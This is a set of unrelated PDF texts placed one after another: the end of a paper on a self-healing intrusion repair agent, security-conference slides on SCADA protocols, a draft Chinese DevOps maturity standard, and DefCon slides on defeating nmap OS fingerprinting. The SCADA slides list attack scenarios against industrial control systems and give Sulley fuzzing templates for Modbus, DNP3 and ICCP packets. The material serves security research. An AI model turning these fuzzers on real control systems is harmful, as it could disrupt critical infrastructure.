the sys- tem clean and perform a fresh install. We think that alternative methods should be explored in order to de- termine if other methods can offer advantages over complete reinstallation. 3. Design Principles and Architecture We propose a repair agent that exists as part of a pro- duction system. We limit the design of the agent to two types of production computer systems: servers and clusters of workstations. Given these two types of production sys- tems, we present five design principles for designing the re- pair agent. These principles are simplicity, isolation, trust, visibility, and adaptation. 1. Simplicity – The repair agent must be designed to be as simple as possible. As the repair agent grows in complexity, it is difficult to attest that the agent itself is correct. 2. Isolation – The repair agent must be isolated from the production operating system. It must not be possible to alter, disable, or otherwise bypass the self-repairing system. 3. Trust – The repair agent must be trusted. There should be assurance that the agent is correct and operates as expected. 4. Visibility – The system must have complete visibility of the production system. A system compromise may alter any state within the system, so the repair agent must be capable of restoring any state to a trusted state. 5. Adaptation – The repair agent must consume minimal resources when the production system is under normal Figure 1. Overview of architecture operation. When an attack occurs, the repair agent can consume as much of the computer system’s resources as necessary in order to repair any damage caused by the attack. Building on these five principles we describe a system architecture that is capable of autonomous self-repair. Fig- ure 1 shows an overview of the self-repairing architecture. The core mechanism in the architecture is TIKE. There are many architectures for TIKE, and Figure 1 shows one ap- proach, which is a virtual machine approach. The virtual machine approach attempts to address the five design prin- ciples. However, the virtual machine approach may be too complex and may tax system performance beyond the nec- essary level. Other architectures need to be explored such as a microkernel approach or a hardware approach. Building on this core mechanism, the architecture con- sists of a scheduler that couples an intrusion detection sys- tem with a self-repairing mechanism. A discussion of the operation is described below, followed by the details of the different components of the architecture. 3.1. System Operation The design of our proposed self-healing system requires initial setup prior to bringing the system online. First, the repair agent is installed on the computer system. Then, the production operating system is installed on the system. Next, the repair agent establishes a known good baseline for the production system and initializes its various compo- nents including the scheduler, the intrusion detection sys- tem (IDS), the self-repair mechanism, and the maintainer. Now the system can be brought online, and any legitimate updates to the system will be corroborated with the main- tainer. Figure 2. Architecture of repair agent When the power is turned on, the repair agent takes con- trol of the computer and initializes itself. After the repair agent has been initialized, it verifies the integrity of the pro- duction system and then begins booting it. After the pro- duction system boots, the repair agent enters into its cyclic algorithm to ensure stability and integrity of the system. First the system is put into mode one; the scheduler grants a given number of CPU cycles to the production system. After those CPU cycles are exhausted, the scheduler puts the system into mode two. In mode two, the IDS checks the validity of the system and the maintainer checks for legitimate updates to the system. If a compromise is de- tected, the scheduler puts the system into mode three. The self-healing mechanism repairs the system and then hands control back to the scheduler, which puts the system back into mode one. If no compromise is detected, the scheduler puts the system back to mode one. 3.2. Trusted Immutable Kernel Extension The core mechanism for the repair agent is TIKE. The repair agent resides within TIKE. TIKE is an enabling ar- chitecture that serves as a safe-haven for intrusion detection and self-repair [3]. 3.3. Repair Agent The mechanism that automatically repairs compromised systems is the repair agent. The repair agent consists of a scheduler, an IDS, a self-repairing mechanism, and a main- tainer as seen in Figure 2. 3.3.1. Scheduler The scheduler sits at the center of the repair agent. It controls when and which components run on the CPU. To enable an adaptive repair agent, the scheduler exports an application programming interface (API) to increase or de- crease priority to the various components. The IDS is re- sponsible for maintaining the adaptive nature of the repair agent. If intrusions are detected, the system alert level is in- creased. If intrusions are not detected for a period of time, the system alert level is decreased. The production system has no visibility of the scheduler. 3.3.2. IDS The IDS is responsible for scanning the production sys- tem for compromises. If a compromise has occurred, the IDS builds a report and sends it to the self-repair mech- anism through the condition policy rules (CPR) database. The CPR database contains the rules that determine what action the self-repair mechanism will take based on the given condition. The IDS is responsible for monitoring three areas of state: memory, file system, and other. Mem- ory monitoring includes processes, open ports, kernel ex- ecution code, and so forth. The file system includes the files on the hard disk. Other state includes such things as external hardware, CPU registers, and so forth. 3.3.3. Self-Repairing Mechanism The self-repairing mechanism is a simple component in the architecture. It operates on compromise events and per- forms any action necessary to repair the compromise event based on the CPR. The self-repairing mechanism is not scheduled unless there are outstanding compromise events that need to be serviced. 3.3.4. Maintainer The maintainer is responsible for keeping a copy of the known good system state up to date. More specifically, the maintainer maintains the trusted hash table. If the system state changes due to an upgrade, then the maintainer will update the corresponding hash entry in the trusted hash ta- ble. 4. Further Approach Details There are a number of details that need to be further explored. These include: • System Validity (Attestation/Hashing/Reattestation) Our approach to determining system validity is based on hashing and attestation. If a system is compro- mised and the repair agent repairs the system, we call this reattestation. • State (Memory/File System/Other) The three types of state that the repair agent is re- sponsible for monitoring are the memory, the file sys- tem(s), and any other type of state. • Root Access Even if the attacker gains root access to the production operating system, the repair agent should remain inac- cessible. We use a virtual machine approach to meet this need. • Originating Entry Point and Patch King and Chen introduced a framework for backtrack- ing intrusions called BackTracker in [4]. BackTracker is capable of finding the entry point of an attack. Their work may be applicable in our system in order to find the originating entry point and prevent further attacks. • Adaptation and Performance The system should adapt to increasing threats from the attacker, but when the threat level is low, the system should have high performance. • Denial of Service The repair agent should minimize the denial of service experienced by the user after a system compromise has occurred. 5. Approach Limitations There are many limitations and challenges to our ap- proach that must be addressed. One of the biggest chal- lenges is how to recognize that a system has been compro- mised. Intrusion detection is known to suffer from false positives and false negatives. Our approach moves toward meeting this challenge by having signatures for known good state with attestation and hashing as opposed to re- lying on signatures for known bad state. Two limitations of our approach that need to be ad- dresses are the physical access threat and data compromise. Our assumptions assume the attacker will be attacking from a remote location. However, if the attacker has physical ac- cess to the box, he or she will be able to bypass our system. Our approach could be enhanced and moved towards pro- tection against physical access by implementing the TIKE architecture in hardware. The problem of data compro- mise is that once an attacker has compromised a system, he or she may be able to gain access to sensitive data. Our approach does not solve this problem completely, but we think that the system will be able to minimize the amount of damage done by automatically discovering the compro- mise and taking action rather than relying on manual meth- ods. There are a few other limitations to our approach. We have described a system in which everything should be attested by a trusted party. In theory the mechanism is sound, but in reality it may be challenging. Another point to address is that some performance will lost; however, the trade-off in performance may be acceptable given the in- creased security. Finally, one assumption that our approach makes is that the repair agent itself will not be compro- mised. This is an important assumption as the entire system relies upon it. We base this assumption on the premise that the repair agent will be much less complex than the oper- ating system it is monitoring, and so it should be easier to verify the correctness of a small repair agent than an entire operating system. 6. Conclusions We have discussed an approach to building systems that are capable of automatically recovering from a sys- tem compromise. The feasibility of building such systems is difficult to determine. We do not think we have yet cov- ered all aspects for the requirements of such a system, but our approach is a step in that direction. Since our computer systems continue to increase in complexity and security is becoming more important, we think that approaches to re- coverable systems should continue to be explored. We have built part of the system described in our work. Future work will include adding more to our prototype to better understand the feasibility of self-healing systems. We will also test our prototype on the Georgia Tech hon- eynet in the form of self-healing honeypots. Based on our experience gained, we will then refine, add to, and draw more conclusions from our approach. References [1] J. G. Levine, J. B. Grizzard, and H. L. Owen, “A methodol- ogy to characterize kernel level rootkit exploits that overwrite the system call table,” in Proceedings of IEEE SoutheastCon. IEEE, March 2004, pp. 25–31. [2] (2004, June) Georgia Tech honeynet research project. http://users.ece.gatech.edu/∼owen/Research/HoneyNet/ HoneyNet home.htm. [3] J. B. Grizzard, E. R. Dodson, G. J. Conti, J. G. Levine, and H. L. Owen, “Towards a trusted immutable kernel exten- sion (TIKE) for self-healing systems: a virtual machine ap- proach,” in Proceedings of Fifth IEEE Information Assurance Workshop. IEEE, June 2004, pp. 444–446. [4] S. T. King and P. M. Chen, “Backtracking intrusions,” in Pro- ceedings of the nineteenth ACM symposium on Operating sys- tems principles. ACM Press, 2003, pp. 223–236.
pdf
Unraveling SCADA Protocols: Using Sulley Fuzzer - Ganesh Devarajan 2 Agenda Introduction to SCADA networks Overview SCADA Protocols Modbus DNP3 ICCP UCA 2.0 and IEC 61850 Standards SCADA Security Attack scenarios Past known attacks SCADA Fuzzer Demo Conclusion Future work 3 SCADA Definition SCADA Supervisory Control and Data Acquisition is defined as a common process control application that collects data from sensors on the shop floor or in remote locations and sends them to a central computer for management and control. Large scale distributed measurement and control system (North America) System that performs SCADA irrespective of the size and geographical distribution (Rest of the world) - Wikipedia SCADA is a technology that enables a user to collect data from one or more distant facilities and/or send limited control instructions to those facilities – Ronald L. Kurtz SCADA Use It is the vital component of many Critical Infrastructure They are used for sensing/managing real-time data Water Gas Electricity Refineries Nuclear plants Other manufacturing operations. 4 5 SCADA Infrastructure SCADA System Components Operator – Human Person responsible to make the Supervisory control decisions Might be present in the local or remote site. Human Machine Interface (HMI) • Presents data to the user/operator • GUIs, Schematics, Windows Master Terminal Unit (MTU) • Processes the data and presents it to HMI • Collects data from remote sites • Sends out queries and instructions to the remote nodes Communication channel • Internet, wireless, switched network, etc Remote Terminal Unit (RTU) • Sends the abstracted data to the MTU • RTU sends out control signals to the sensors and collects data values from them Traditional SCADA Networks 6 Motors, Drives, Actuators Robotics Sensors and other Input/Output Devices Programmable Logic Controllers (PLC) Human Machine Interface (HMI) PC Based Controllers Back-Office Mainframes and Servers (ERP, MES, CAPP, PDM, etc.) Control Network Gateway Office Applications, Internetworking, Data Servers, Storage Corporate IT Network Control Level Network Device Level Network Information Level Network (Ethernet) MES: Manufacturing Execution Systems PDM: Process Data Management MRO: Maintenance Repair and Overhaul CAPP: Computer Assisted Process Planning Off late SCADA Networks 7 Motors, Drives, Actuators Robotics Sensors and other Input/Output Devices Programmable Logic Controllers (PLC) Human Machine Interface (HMI) PC Based Controllers Back-Office Mainframes and Servers (ERP, MES, CAPP, PDM, etc.) Device Level Network Ethernet Office Applications, Internetworking, Data Servers, Storage Corporate IT Network Current/Future SCADA Networks 8 Motors, Drives, Actuators Robotics Sensors and other Input/Output Devices Programmable Logic Controllers (PLC) Human Machine Interface (HMI) PC Based Controllers Back-Office Mainframes and Servers (ERP, MES, CAPP, PDM, etc.) Ethernet Office Applications, Internetworking, Data Servers, Storage Corporate IT Network 9 Need for SCADA Security The need for security in SCADA systems — When these protocols were initially created they were proprietary and were not linked to the outside world. But with the improved communication protocols they were exposed more to the Internet. The systems that control our day to day living is exposed to the outside world without any inbuilt security features. — It is easier to take down the entire country’s Critical Infrastructure. • Black out — On a smaller scale you can take down the company’s manufacturing plant. • The cooling system of the Server room • False reports at the manufacturing plant Current Security Scenario Poor Authentication or verification of the client nodes There is no authentication scheme implemented in these protocols Easy to introduce malicious nodes Platform Vulnerabilities Windows & Linux Vulnerabilities Not patched regularly – need for maximum uptime Vendors and Assert owners believes Under the wrong impression that who is going to hack into these networks Belief that their nodes are not exposed to the outside world • What if a malicious node was introduced into the network? • A few dangling nodes outside the protected area, that can be used to attack 10 11 SCADA Attack Scenarios Providing False Data - The functionality of the RTU is to either read or write data into the server and the compromised RTU can write false data into the server. Sensors for Water pollutants Temperature sensors in server rooms Denial of Service Attack Continuous sting of reboot command Protocol anomalies 12 SCADA Attacks Cyber-Attacks by Al Qaeda Feared Washington Post, June 27, 2002 Mountain View, Calif Information-technology contractor Vitek Boden who used his knowledge of control systems to release millions of liters of sewage into drinking water Slammer worm affected the operation of the corporate network at Ohio's inactive Davis-Besse nuclear plant and disabled a safety monitoring system for nearly five hours in January 2003 An hacker took control of the gas pipelines run by Gazprom for around 24 hours in 1999 in Russia 13 SCADA Protocols Modbus Distributed Network Protocol 3 (DNP3) Inter-Control Center Communications Protocol (ICCP) Utility Communications Architecture 2.0 (UCA 2.0) and International Electrotechnical Commission (IEC) 61850 Standards Control Area Networks (CAN) Control Information Protocol (CIP) DeviceNet ControlNet OLE for Process Control (OPC) Profibus 14 SCADA Protocols - Modbus Modbus Developed in the late 1970s by Modicon, Inc. It is commonly used for connecting devices in the Industrial environment It is free and open sourced Modbus RTU- Compact Binary format Modbus ASCII- more verbose and human readable Modbus/TCP is similar to Modbus RTU Data is stuffed into TCP/IP Data packets Force Listen Mode 15 SCADA Protocols - Modbus Function Code Function Name 01 Read Coil Status 02 Read Input Status 03 Read Holding Registers 04 Read Input Registers 05 Force Single Coil 06 Preset Single Register 07 Read Exception Status 09 Program 484 0A Poll 484 0B Fetch Communication Event Counter 0C Fetch Communication Event Log 0D Program Controller 0E Poll Controller 0F Force Multiple Coils 10 Preset Multiple Registers 11 Report Slave ID 12 Program 884/M84 13 Reset Communication Link 14 Read General Reference 15 Write General Reference 16 Mask Write 4X Register 17 Read/Write 4X Registers 18 Read FIFO Queue 16 SCADA Protocols - Modbus Function Code Sub-Function Code Function Name 08 00 Return Query Data 08 01 Restart Communication Option 08 02 Return Diagnostic Register 08 03 Change ASCII Input Delimiter 08 04 Force Listen Only Mode 08 05-09 Reserved 08 0A Clear Counters and Diagnostic Reg. 08 0B Return Bus Message Count 08 0C Return Bus Communication Error Count 08 0D Return Bus Exception Error Count 08 0E Return Slave Message Count 08 0F Return Slave No Response Count 08 10 Return Slave NAK Count 08 11 Return Slave Busy Count 08 12 Return Bus Char. Overrun Count 08 13 Return Overrun Error Count 08 14 Clear Overrun Counter and Flag 08 15 Get/Clear Modbus Plus Statistics 08 16-UP Reserved 17 SCADA Protocols – DNP3 Distributed Network Protocol 3 Mainly used in the utility companies Disable Spontaneous messages 18 SCADA Protocols – DNP3 Bit Internal Indication Flag 0 Last received message was Broadcast message 1 Class 1 Data available 2 Class 2 Data available 3 Class 3 Data available 4 Time Synchronization Required 5 Digital Output in Local 6 Device Trouble 7 Device Restarted 8 Function Code (Not Implemented) 9 Requested Object Unknown or Application Error 10 Parameters Out of range 11 Even buffer overflowed 12 Operation already executing 13 Configuration Corrupt 14 Not used (returns 0) 15 Not used (returns 0) 19 SCADA Protocols – DNP3 Control Byte Control function code Transport Layer byte First-Final Sequence Number Application Layer Control Byte First-Final Confirm Sequence Data chunking CRC DNP 2 CRC bytes Every 16 bytes of data 20 SCADA Protocols – TASE2.0/ICCP Inter-Control Center Communications Protocol Telecontrol Application Service Element (TASE) Developed by Electric Power Research Institute(EPRI) and Northern States Power (NSP) Is used for communication between the Control centers and the WANs Used widely in the Utility organizations Associations – Connections Bilateral Table (BLT) – Stores the Associations and end point agreements Uses Application Control Service Element (ACSE) to Associate and mange connections Multiple Associations can be managed by ACSE SCADA Protocols – TASE2.0/ICCP 21 22 SCADA Protocols – ICCP – TPKT TPKT Most software that I have seen have the version set to 03 The Reserved byte is 00 Finally the Length varies based on the other layers Information 23 SCADA Protocols – ICCP – COTP Connection-Oriented Transport Protocol (COTP) – ISO 8073 24 SCADA Protocols – ICCP – COTP Connection-Oriented Transport Protocol (COTP) – ISO 8073 Data Transfer F0 25 SCADA Protocols – ICCP – COTP Connection-Oriented Transport Protocol (COTP) – ISO 8073 Disconnect Request 80 26 SCADA Fuzzer What does the SCADA Fuzzer detect? Protocol anomalies Unauthorized client/server communication Unauthorized client/server command execution Possible Denial of Service attacks What protocols are we covering today? MODBUS DNP3 ICCP TPKT COTP 27 SCADA Fuzzer Fuzzer Components __init.py – Defines all the aliases blocks.py – Defines blocks and block helpers pedrpc.py – Communication purposes and an interface with the main fuzzer primitives.py – the fuzzer primitives includes string, static, etc sessions.py – Functionality for building and executing session sex.py – Sulley’s exception Handler Agents network_monitor.py – Monitors network communications and logs the pcap files process_monitor.py – Detects the faults vmcontrol.py – Interfaced with the VM image to start, stop, suspend and reset the image along with deleting and restoring the snapshots SCADA Fuzzer Architecture 28 Sulley Fuzzer 29 Web GUI of Sulley www.fuzzing.org Fuzzing book 30 Modbus Code Snippet s_initialize("MODBUSFUNCCODE01") # Transaction ID s_static("\x00\x01") # Modbus Protocol Identifier s_static("\x00\x00") # Length bytes s_sizer("modlength", length=2, name="length", endian=">", fuzzable=False) if s_block_start("modlength"): # Unity Identifier s_static("\x0D") # Function Code s_byte(0x01) # Data or Sub function Code s_dword(0x00000000) s_block_end() 31 DNP3 Code Snippet Static Length s_initialize("DNP3StaticLength") if s_block_start("header"): s_static("\x05\x64") # Start Sync Bytes. # Length Bytes we are having it as a constant length at first s_static("\x12") # Control Byte s_byte(0xc4, full_range=True) # Destination Address s_short(0x0400) # Source Address s_short(0x300) s_block_end() # Checksum of the DNP Header. s_checksum("header", algorithm=dnp_crc16, length=2) # The Data POrtion of the Packet if s_block_start("Data"): # Transport Layer Chunk s_byte(0xc2, full_range=True) # Application Chunk s_byte(0xc2, full_range=True) # Function Code s_byte(0x0d, full_range=True) # Static Data for now.. s_static("AAAAAAA") # This will fuzz a huge array of string cases.. s_block_end() s_checksum("Data", algorithm=dnp_crc16, length=2) s_string(“A”) + Chunkdnp3(data) 32 ICCP – TPKT Code Snippet s_initialize(“ICCP-TPKT") if s_block_start("header"): s_byte(0x03, full_range=True) # Version s_byte(0x00, full_range=True) # Reserved s_short(0x0000) # Length s_block_end() This length includes the header and data information from other layers 33 ICCP – COTP Code Snippet s_initialize("ICCP-COTP") s_sizer("header", length=1, name="length", fuzzable=True) # Length if s_block_start("header"): s_byte(0xE0, full_range=True) # PDU Type s_short(0x0000) # Destination Reference s_short(0x0000) # Source Reference s_byte(0x00, full_range=True) # Class/Options s_byte(0xc1) # Parameter Code Source TSAP s_sizer("Param1",length=1, name="ParamLength1", fuzzable=True) if s_block_start("Param1"): s_string("A") s_block_end() s_byte(0xc2) # Parameter Code Destination TSAP s_sizer("Param2",length=1, name="ParamLength2", fuzzable=True) if s_block_start("Param2"): s_string("A") s_block_end() s_byte(0xc0) # Parameter Code TPDU Size s_sizer("Param3",length=1, name="ParamLength3", fuzzable=True) if s_block_start("Param3"): s_byte(0x0b) s_block_end() s_block_end() Source TSAP Destination TSAP TPDU Size 34 Section Divider Demo Disclosure 35 Please be responsible and use responsible disclosure methods when you do find some vulnerabilities Conclusion Basic SCADA network architecture Need for security in SCADA network SCADA protocol details Fuzzer details 36 Future work Other SCADA Protocols. Two way fuzzing 37 38 References The SCADA Architecture and basic implementation details: Securing SCADA Systems – Ronald L. Krutz. PhD Modbus: www.modbus.org DNP3: www.dnp3.org ICCP: www.iccp.org Attack Details: www.digitalbond.com Modbus Protocol details: http://www.modbustools.com/PI_MBUS_300.pdf DNP3 Protocol Primer: http://www.dnp.org/About/DNP3%20Primer%20Rev%20A.pdf DNP3 User and Reference Manual by Control Microsystems: https://dg.controlmicrosystems.com/Technical%20Support/Software,%2 0Manuals%20and%20Release%20Notes/Protocols/DNP3%20Protocol/Ma nuals/DNP3_User_and_Reference_Manual.pdf ICCP Guide: www.sisconet.com/downloads/usrguid5.doc Matt Franz Wiki: http://www.scadasec.net/secwiki/SecProducts Wikipedia SCADA Architecture slides - ?? 39 Acknowledgements Pedram Amini, Aaron Portnoy and Cody Pierce for working on the Sulley Fuzzing Framework Rohit Dhamankar and Dinesh Sequeira for getting me psyched about SCADA systems Matt Franz for the support and guidance Questions? Thank you Ganesh Devarajan [email protected]
pdf
技 术 标 准 研发运营一体化能力成熟度模型 第 1 部分:总体架构 The DevOps capability maturity model Part 1: General architecture (征求意见稿) 2017 年 11 月 18 日 YDB XXXXX—XXXX I 目 次 目次................................................................................... I! 前言.................................................................................. II! 1 范围 ............................................................................... 1! 2 规范性引用文件 ..................................................................... 1! 3 术语 ............................................................................... 1! 4 缩略语 ............................................................................. 1! 5 总体架构 ........................................................................... 1! 附录 A ................................................................................. 4! YDB XXXXX—XXXX II 前! ! 言 研发运营一体化是指在 IT 软件及相关服务的研发及交付过程中,将应用的需求、开发、测试、部 署和运营统一起来,基于整个组织的协作和应用架构的优化,实现敏捷开发、持续交付和应用运营的无 缝集成。帮助企业提升 IT 效能,在保证稳定的同时,快速交付高质量的软件及服务,灵活应对快速变 化的业务需求和市场环境。 本标准是“研发运营一体化能力成熟度模型”系列标准的第 1 部分,该系列标准的结构和名称如 下: § 第 1 部分:总体架构 § 第 2 部分:敏捷开发管理过程 § 第 3 部分:持续交付过程 § 第 4 部分:技术运营过程 § 第 5 部分:应用架构 § 第 6 部分:安全管理 § 第 7 部分:组织结构 本标准按照 GB/T 1.1-2009 给出的规则起草。 本标准由中国通信标准化协会提出并归口。 本标准起草单位: DevOps 时代社区、高效运维社区、中国信息通信研究院、上海仪电中央研究院 本标准主要起草人: 萧田国、张乐、景韵、栗蔚、杨天顺 1 研发运营一体化能力成熟度模型 第 1 部分:总体架构 1 范围 本标准规定了研发运营一体化的概念范围、总体架构及能力成熟度模型。本标准中的研发运营一体 化包括IT软件及服务的需求、开发、测试、部署和运营五个环节,并实现敏捷开发、持续交付和技术运 营的顺序闭环集成。 本标准适用于企业在实施IT软件开发和服务过程中实现研发运营一体化架构,提升IT效能。 2 规范性引用文件 下列文件中的条款通过本部分的引用而成为本部分的条款。凡是注日期的引用文件,仅所注日期的 版本适用于本文件。凡是不注日期的引用文件,其最新版本(包括所有的修改单)适用于本文件。 [1] GB/T 32400-2015 信息技术 云计算 概览与词汇 [2] GB/T 32399-2015 信息技术 云计算 参考架构 [3] YD/T2441-2013 互联网数据中心技术及分级分类标准 [4] GB/T 33136-2016 信息技术服务数据中心服务能力成熟度模型 3 术语 下列术语和定义适用于本文件。 3.1 部署流水线 deployment pipeline 指软件从版本控制库到用户手中这一过程的自动化表现形式。 4 缩略语 下列缩略语适用于本文件。 CI Continuous Integration 持续集成 CD Continuous Delivery 持续交付 5 总体架构 2 图 1 研发运营一体化(DevOps)标准总体架构 研发运营一体化(DevOps)能力成熟度模型覆盖端到端软件交付生命周期全流程,是一套体系化的 方法论、实践和标准的集合。研发运营一体化总体架构可划分为三部分,即过程(敏捷开发管理、持续 交付、技术运营)、应用架构和组织结构。研发运营一体化过程相关内容如下: 1)敏捷开发管理从需求管理、计划管理、过程管理、度量分析这四个维度,关注需求到开发阶段 的有序迭代,灵活响应,以及价值的快速交付。 其中需求管理细分为需求收集、需求分析、需求与用例和需求验收四个细分维度。需求收集从单个 需求点、需求全貌、需求的管理、人员机制以及工具能力五个维度进行评估;需求分析从需求内容和形 式、需求协作、需求的管理、人员机制以及工具能力五个维度进行评估;需求与用例从需求与用例编写、 需求用例验证、需求与用例的管理、人员机制以及工具能力五个维度进行评估;需求验收从需求验收频 率、需求验收范围、需求验收反馈效率、人员机制以及工具能力五个维度进行评估。 其中计划管理细分为需求澄清与拆解、故事与任务排期、计划变更三个维度。需求澄清与拆解从需 求澄清的时间、内容的完备性、协作、人员机制以及工具能力五个维度进行评估;故事与任务排期从排 版要素、排版容量、排版管理、人员机制以及工具能力五个维度进行评估;计划变更从变更决策、应对 变更、减少变更、人员机制以及工具能力五个维度进行评估。 其中过程管理细分为迭代管理、迭代活动、过程可视化及流动、度量分析四个维度。迭代管理从迭 代时间周期、迭代协作机制、迭代流程改进、人员机制以及工具能力五个维度进行评估;迭代活动从迭 代活动约定、迭代活动时间约定、迭代活动范围、人员机制以及工具能力五个维度进行评估;过程可视 化及流动从过程可视化、过程价值流动、迭代过程改进、人员机制以及工具能力五个维度进行评估;度 量分析从度量粒度、度量范围、度量驱动持续改进、人员机制以及工具能力五个维度进行评估。 2)持续交付关注应用软件集成交付环节,通过配置管理、构建与持续集成、测试管理、部署与发 布管理、环境管理、数据管理和度量管理领域的能力建设和工程实践保证软件持续顺畅高质量的对用户 完成发布。 其中配置管理细分为版本控制、版本可追踪性两个维度。版本控制从版本控制系统、分支管理、构 建产物管理、单一可信数据源四个维度进行评估;版本可追踪性从变更过程、变更追溯、变更回滚三个 维度进行评估。 其中构建与持续集成分为构建实践、持续集成两个维度。构建实践从构建方式、构建环境、构建计 划、构建职责四个维度进行评估;持续集成从集成服务、集成频率、集成方式、反馈周期四个维度进行 评估。 其中测试管理分为测试分级策略、代码质量管理、测试自动化三个维度。测试分级策略从分层方法、 分层策略、测试时机三个维度进行评估;代码质量管理从质量规约、检查策略、检查方式、反馈处理四 个维度进行评估;测试自动化从自动化设计、自动化开发、自动化执行、自动化分析四个维度进行评估。 3 其中部署与发布管理分为部署与发布模式、持续部署流水线两个维度。部署与发布模式从部署方式、 部署活动、部署策略、部署质量四个维度进行评估;持续部署流水线从协作模式、流水线过程、过程可 视化三个维度进行评估。 其中环境管理分为环境类型、环境构建和环境依赖与配置管理。 其中数据管理分为测试数据管理和数据变更管理两个维度。测试数据管理从数据来源、数据覆盖、 数据独立性、数据安全四个维度进行评估;数据变更管理从变更过程、兼容回滚、版本控制、数据监控 四个维度进行评估。 其中度量与反馈分为度量指标和度量驱动改进两个维度。度量指标从度量指标定义、度量指标类型、 度量数据管理、度量指标更新四个维度进行评估;度量驱动改进从报告生成方式、报告有效性、报告覆 盖范围、反馈改进四个维度进行评估。 3)技术运营环节关注应用系统服务发布后的环节,涉及运维成本服务、高可用架构服务、用户体 验服务、客户服务、监控服务、产品运行服务和运营数据服务,保障良好的用户体验,打造持续的业务 价值反馈流。 研发运营一体化(DevOps)同样关注应用架构、安全管理和组织文化方面的建设。良好设计的应用 架构有助于系统解耦和灵活发布,也是高可用系统的核心能力;端到端的安全考量和全局规划,可以让 安全发挥更大的价值,并真正助力全价值链。跨功能团队的组织架构和高度互信协同,责任共担的组织 文化同样会对组织能力的提升带来正向作用。 这五大部分相互关联,密切协同构成了一个有机整体,帮助组织IT效能不断进化,最终达成企业的 业务目标。 4 附录 A (规范性附录) 研发运营一体化能力成熟度模型(1-5)级 根据研发运营一体化能力成熟度模型的要求,共分为 5 个级别,每个级别中按照不同程度说明,呈 递进的方式,默认高级别包含低级别内容,无需重复引用。 级别 英文 中文 1 级 Regressive 阻碍的 2 级 Repeatable 可重复的 3 级 Consistent 一致的 4 级 Quantitative 量化的 5 级 Optimizing 优化的 _________________________________
pdf
DefCon 21, Las Vegas 2013 Let’s Screw With nMap Gregory Pickett, CISSP, GCIA, GPEN Chicago, Illinois [email protected] Hellfire Security Overview Nosey Bastards! All About Packet Normalization Working It All Out Putting It Into Practice Finishing Up Network Defenders We see scans and probes of our network every day From the inside and from the outside Everybody is targeting us Identifying our assets How They Do It Network stack implementation is highly discretionary Differences identify the operating system type and version Allowing Attackers to identify their targets By matching the headers of their target to known operating system implementations … then it’s likely a Windows 2003 Sever! Uses the following options MSS of 1460 Single NOP Window Size 0 Single NOP Single NOP Ending SACK If your target … Has a TTL of 128 Implications If they identify your assets … They know their weaknesses How to attack them successfully Without triggering your sensors TSA-Style patdowns … It’s fact of life But does it have to be? Why can’t we … Remove the differences To remove their advantage Strip them of their ability to fingerprint To significantly reduce their chance of success My Answer Packet ization OK. What is packet normalization? Not an entirely developed concept Many expressions but most incomplete … Normalization vs. Scrubbing Scrubbing is to do away with; cancel Normalization is to make normal, especially to cause to conform to a standard or norm Both are seen in varying degrees Scrubbing Used by a number of firewalls Randomize IP ID Clear IP DF Also … Set IP tos/dscp, and ttl IP Fragment Reassembly Primarily Concern Policy Violations Abnormal Packets Abnormal Flows Scrubbing Used by some network devices such as Cisco ACE and ASA Random TCP SEQ Clear TCP Reserved, and URG Clears TCP Options Minimum IP TTL Fragment Reassembly too … Primarily Concern Policy Violations Abnormal Packets Abnormal Flows Incoming Normalization Used by IPS and IDS devices IP Fragment Reassembly IP TTL Evasion Primarily Concern Detect Attacks Detection Evasion Masquerading Examples IP Personality Morph IP Morph Pretends to be … Modifies the stack Host Only Outgoing Normalization? Fingerprinting Process TCP, UDP, and ICMP probes are sent Compile results into fingerprint Compare against database Identify operating system Where to Start? Nmap fingerprint database What about other fingerprinting tools? xprobe2 SinFP Vulnerability scanners … Nessus, Others Best to disrupt any existing patterns Clear out any unnecessary values IP ToS/DSCP/Traffic Class Cleared IP ECN Cleared TCP URG Flag and URG Pointer Cleared Randomize anything that you can IP ID IP TTL/HOP Limit? TCP Options? Scrubbing Packet Normalization Outgoing Normalization Normalizing (IP Time-To-Live / Hop Limit) Make some assumptions Originally Well-Known TTL Decrements Only Traveled < 32 hops Back into Original Starting TTL Estimate number of hops traveled Recalibrate current TTL Using Starting TTL of 255 Normalizing (IP Time-To-Live / Hop Limit) Start with the lowest well known TTL first! Several exceptions to this normalization … Will be discussed later Normalizing (TCP Options) Assumptions Only Few Well Known Options Needed Order is unimportant Requirement …Values can’t be changed Read necessary options Discard the rest Rewrite options in proper order NOP … till the end of the options Normalizing (TCP Options) Options selected … And their order MSS Window SACK MD5 … if present After processing … Making everyone look the same Putting It All Together With IDGuard Selecting The Platform Identified Suitable Hardware Already Modified By Others Documentation Available … Mikrotik Routerboards Identified Suitable Operating System Available Base Writeable File System …OpenWrt Deploying to Hardware Purchase the hardware from a local vendor Create a netboot image for the RB450G Setup dhcp & tftp netboot environment Connect to the routerboard Configure routerboard for DHCP Netboot routerboard and flash Load kernel module manually or with a package Configure Firewall Deploying to Hardware OK … What worked? I am really tired of those nosey bastards! What Didn’t Work ToS/DSCP/Traffic Class Clearing ECN Clearing URG Flag and URG Pointer Clearing IP ID Randomization DF Clearing … the Scrubbing What Worked TTL Standardizing TCP Option Standardizing … the Normalization End Results Operating System Unprotected Protected Windows 7 Microsoft Windows 7|2008 Windows Server 2003 Microsoft Windows 2003 Ubuntu Desktop 11.10 Linux 2.6.X|3.X Red Hat Enterprise Linux 6 Linux 2.6.X|3.X Allied Telesyn AlliedWare Allied Telesyn AlliedWare Cisco IOS 12.X D-Link embedded Other Effects Nmap Network Distance Other Fingerprinting Xprobe2 SinFP Nessus … Other Tools ping traceroute Demonstration Challenges Authorized Activity Other Methods Banners and Direct Query Identification Through Layer-7 Challenges Authorized Activity Scanners Management Platforms Resolution IDGuard Excludes Them … Challenges Banners and Direct Query Windows Networking Available Application-Layer Query OS Details in Reply Resolution Perimeter Network Internal Network Concerns Connectivity Fragmentation Upstream Downstream TTL Attenuation TTL Special Uses TCP Options Sensitivity? Link-Local Routing Protocols Concern Upstream Fragmentation IP ID Randomized “Fragmentation Needed” ICMP Message Received Host is confused Keeps sending original packet Resolution IDGuard Clears DF Concern Downstream Fragmentation Each fragment given a different IP ID Destination can’t reassemble original Resolution Access switch placement IDGuard Excludes Fragments Concern TTL Attenuation Packet travels more than 32 hops Not all these hops are accounted for … Packet TTL is continually extended Routing Loop occurs Resolution Access Switch Placement Concern TTL Special Uses TTL recalibrated TTL never runs out No Intermediate hop reports Traceroute fails Resolution IDGuard Excludes ICMP Echo Requests IDGuard Excludes the UDP traceroute range Concern Link-Local Routing Protocols RIP packets have a TTL of 1 TTL of 255 is abnormal Packet is malformed Resolution IDGuard Excludes Routing Protocols 